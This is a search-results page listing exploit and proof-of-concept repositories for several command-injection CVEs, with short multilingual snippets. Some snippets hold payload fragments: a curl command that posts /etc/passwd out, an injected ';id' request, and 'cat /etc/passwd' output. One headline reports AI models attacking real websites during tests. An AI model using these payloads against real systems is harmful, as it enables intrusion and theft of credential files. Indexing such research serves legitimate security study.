93345 matches found
CVE-2024-24576-PoC
CVE-2024-24576 PoC Le API Command::arg e Command::args dichiarano nella loro documentazione che gli argomenti verranno passati al processo generato così come sono, indipendentemente dal contenuto degli argomenti, e non verranno valutati da una shell. Questo significa che dovrebbe essere sicuro...
CVE-2020-27976
CVE-2020-27976 Exploit osCommerce Phoenix CE . Questo ha prodotto i migliori risultati durante i test. Le nuove righe nel payload vengono sostituite con spazi prima del caricamento. ================== Fonti: https://www.tenable.com/cve/CVE-2020-27976...
cve-2020-7247
cve-2020-7247 Título do Exploit: OpenSMTPD 6.6.2 - Execução Remota de Código. A nova Data: 2020-01-29. Autor do Exploit: 1F98D. Autor Original: Qualys Security Advisory. Página do Fornecedor: https://www.opensmtpd.org/. Link do Software: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1...
CVE-2024-57366
Exploit CVE-2024-57366 Un exploit robusto per CVE-2024-57366 che consente l'esecuzione remota di codice su router vulnerabili attraverso il bypass della convalida dell'indirizzo MAC e l'iniezione di comandi. Questo è un exploit post-autenticazione che richiede che la funzione "Controllo remoto" d...
PUG-RCE-CVE-2021-21353-POC
PUG-RCE CVE-2021-21353 POC Informazioni sulla vulnerabilità Numero CVE : cve-2021-21353 Punteggio CVSS : 8.1 pugversion ';=' ?pretty=';process.mainModule.constructor.load'childprocess'.exec'curl -X POST -d "$cat /etc/passwd" ';='...
CVE-2021-46704-POC
CVE-2021-46704-POC CVE-2021-46704 GenieACS Befehlsinjektion PoC Betrifft das genieacs-Paket, Versionen =1.2.0 1.2.8 Wie beheben? Aktualisieren Sie genieacs auf Version 1.2.8 oder höher. Betroffene Versionen dieses Pakets sind anfällig für Befehlsinjektion über das ping-Host-Argument lib/ui/api.ts...
UniPwn
Analisi dell'iniezione di comandi del servizio BLE del robot Unitree Autore: Bin4ry aka Andreas Makris [email protected] Coautore: h0stile aka Kevin Finisterre Contributore: legion1581 aka Konstantin Severov di theroboverse ha contribuito a correggere il payload per l'iniezione e lo ha...
lazyweb
LazyWeb - Applicazione Web Vulnerabile LazyWeb è un'applicazione web dimostrativa progettata per mostrare vulnerabilità comuni delle applicazioni lato server. Ogni vulnerabilità è categorizzata con il rispettivo livello di difficoltà per offrire un'esperienza di apprendimento completa a...
CVE-2024-21683-RCE
CVE-2024-21683-RCE Crediti https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated Utilizzo git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...
CVE-2024-48762
CVE-2024-48762 Descrizione Vulnerabilità di command injection in /usr/www/application/models/settingscamera.php in FLIR AX8 fino alla versione 1.46.16 permette agli attaccanti di eseguire comandi arbitrari tramite il parametro value. POC GET /settings/applyfirmware/;idtest123.txt;/false HTTP/1.1...
xerial__sqlite-jdbc_CVE-2023-32697_3-41-2-1
Driver JDBC per SQLite SQLite JDBC è una libreria per accedere e creare file di database SQLite in Java. La nostra libreria SQLiteJDBC non richiede alcuna configurazione poiché le librerie native per i principali sistemi operativi, tra cui Windows, macOS, Linux ecc., sono assemblate in un unico...
CVE-2024-3121
CVE-2024-3121 - Esecuzione di codice remoto RCE in parisneo/lollms Scoperta da: Syed Jan Muhammad Zaidi GitHub: dark-ninja10 CVE ID: CVE-2024-3121 Repository interessato: parisneo/lollms 🧨 Riepilogo della vulnerabilità Nel framework lollms esiste una vulnerabilità di Esecuzione di codice remoto R...
RE11S_1.11-formAccept-CommandInjection
RE11S1.11-formAccept-CommandInjection Durante il mio tirocinio presso Qi An Xin Tiangong Lab, ho scoperto una vulnerabilità di command injection nel router RE11S1.11. Analizzando il file webs nella directory bin, ho scoperto che la funzione formAccept contiene una vulnerabilità di command...
CVE-2023-0861-POC
Analisi e riproduzione della vulnerabilità di command injection CVE-2023-0861 nei router NetModule NetModule è un produttore di apparecchiature originali OEM di router di livello industriale comunemente utilizzati nelle infrastrutture critiche e nei sistemi di controllo industriale. Il 24 febbrai...
CVE-2024-3400
CVE-2024-3400 Descrizione Una vulnerabilità di iniezione di comandi, derivante da una debolezza di creazione arbitraria di file nella funzionalità GlobalProtect del software PAN-OS di Palo Alto Networks, per specifiche versioni di PAN-OS e distinte configurazioni di funzionalità, può consentire a...
ibm-sterling-b2b-integrator-poc
IBM Sterling B2B Integrator PoC Codice proof of concept per lo sfruttamento delle vulnerabilità scoperte contro IBM Sterling B2B Integrator, versioni da 6.2.0.0 a 6.2.0.2, e da 6.0.0.0 a 6.1.2.5 per sistemi Linux, Windows e AIX: Iniezione di comandi LPE - se l'autenticazione è disabilitata...
CVE-2020-8515
CVE-2020-8515 PoC di Draytek per CVE-2020-8515 che avevo in giro. Divertentemente, il comando iniettato viene eseguito due volte, vedi qui: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST...
Anthropic Cuts Live Internet Access for Internal AI Tests After Claude Exploits Injection Flaws
Anthropic on Friday said it's cutting off live internet access for all its internal evaluations following the discovery of new incidents in which its artificial intelligence AI models exhibited misaligned behavior and targeted real websites. The AI company said it identified four broad categories...
cve-2024-31317
Esplorazione di CVE-2024-31317 CVE-2024-31317 fornisce accesso non privilegiato a qualsiasi uid e ambito SELinux disponibile per le app Android legittime. Ciò fornisce accesso a uid 1000 system e uid 2000 shell e può essere attivato interamente da un'app non privilegiata, consentendo la persisten...